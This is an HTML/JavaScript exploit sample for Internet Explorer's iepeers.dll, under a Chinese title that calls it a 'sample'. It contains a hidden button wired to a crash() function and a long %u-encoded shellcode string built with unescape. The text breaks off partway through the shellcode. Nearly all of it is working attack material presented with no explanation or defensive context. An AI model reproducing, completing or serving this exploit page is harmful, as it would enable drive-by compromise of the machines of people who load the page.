Microsoft Internet Explorer iepeers.dll 样本

<html><body>
<button id='mybtn' onclick='crash();' style='display:none'></button>
<script language='javascript'>
function myfun1(){
    var shellcode = unescape('%u9999%u96fd%u3f46%u4a9f%u4a4f%uf542%u3748%u4346%u9992%u99f5%u2f47%u924f%ud69f%u3f37%uf546%u3f49%ufdf8%u3f41%u9f43%ud646%ufd3f%u42f8%u4e98%u9190%ud697%u4837%u4e3f%uf54b%u9147%u91f9%uf93f%u4e90%u4e90%u9148%uf596%uf998%u9837%u4a93%u4391%ufd96%uf947%u97f9%u9837%u994f%u98f8%u2f41%u984e%u9098%uf548%u464e%u4742%uf548%u9b4b%u9146%u9793%u373f%u9f9b%uf548%u4840%u4690%ud640%uf92f%u9b46%u934b%u424a%u9848%uf84e%u49d6%u4992%u2ffd%u9093%u2f46%u409f%u909b%u9f43%u3ff5%u2f4e%u9399%u4b99%u46d6%u9342%uf94e%u904f%u4e90%u2ffc%u4f90%u2f42%u9ffc%u4349%uf846%ufc97%u4a37%u964e%u984f%uf83f%u3f3f%u3ff9%u933f%uf52f%u4f41%u4b2f%u4191%u4e96%u4047%uf8fc%u4a93%u9342%u4146%u9b4a%u4248%u4f9b%u993f%u434b%ufd93%uf598%uf5d6%u49f9%u423f%u9396%ufcd6%uf59f%u4943%u2f47%u4b2f%u4e49%u4f4f%uf82f%u9296%u9047%u9b43%u4942%u429b%u4e99%u9297%u374b%u9b4a%u4748%u464b%u4843%u9bf5%u9842%u2f91%u972f%u4241%u4991%u37f5%u9992%u9bd6%u3f9f%u91fc%u43fd%u9696%u93f5%u9640%u4740%u904e%u9037%u2f41%u914b%u4b48%ufc49%ufc9b%u3f40%u9297%u9297%u92f8%u439b%u4797%u9946%u9f47%uf5fc%u4f90%u49f9%u9141%u48f9%u9b2f%u434b%u9bd6%ufc49%u3792%u9048%u4898%u42f9%u4646%u9293%u4398%u4f4a%u374e%uf53f%u4893%u3742%ud640%u9746%u9090%uf541%u482f%u4f9b%u9242%uf547%u979b%u4a96%u90fc%u9249%u9b4b%u9b96%u9646%u494e%ufcf9%u4890%u9693%u4b92%u2f46%u3f43%u432f%u9246%u934a%u2ff5%u4893%ufd41%u2f90%u4b9f%u9292%u4e40%u9897%u4f41%u4849%u4ff8%u4b9f%u373f%u3f49%u904a%u4a3f%ud64f%uf993%u93fd%u4f4b%u992f%u4afc%uf596%u4a4e%u2f93%u9f48%u3f93%u49fd%u4896%u913f%u484b%u4a97%uf89f%ufc92%ufd90%ufc3f%u42fc%uf89f%u4192%uf92f%u962f%u4f4b%u4247%u4842%u984b%u439f%u4e9b%u404f%ud62f%u9991%u9143%u40f9%u3f93%u989b%u9391%u9f99%u9191%u49fd%u983f%u9b48%u46fc%u4b92%u4a91%ufc42%u939b%u4e97%u4242%u91f9%ufdf9%u2f2f%u434f%u3790%u9941%u4149%u2f98%u469f%u414e%u964f%u9b2f%uf5d6%u9b43%u9f42%ud649%ud6f8%u4a4b%u9649%u4647%u4b4f%u49f5%uf9f9%u4740%u47fd%u4e4e%u4a43%u9697%u4146%u9b4a%u984b%u904b%u99fd%ufdf9%u4890%uf52f%u46fd%u49f9%u9f9f%uf947%uf53f%u9037%u2f3f%u9290%u9041%u9fd6%u96f5%ufc98%u3ffd%u434f%u434a%u4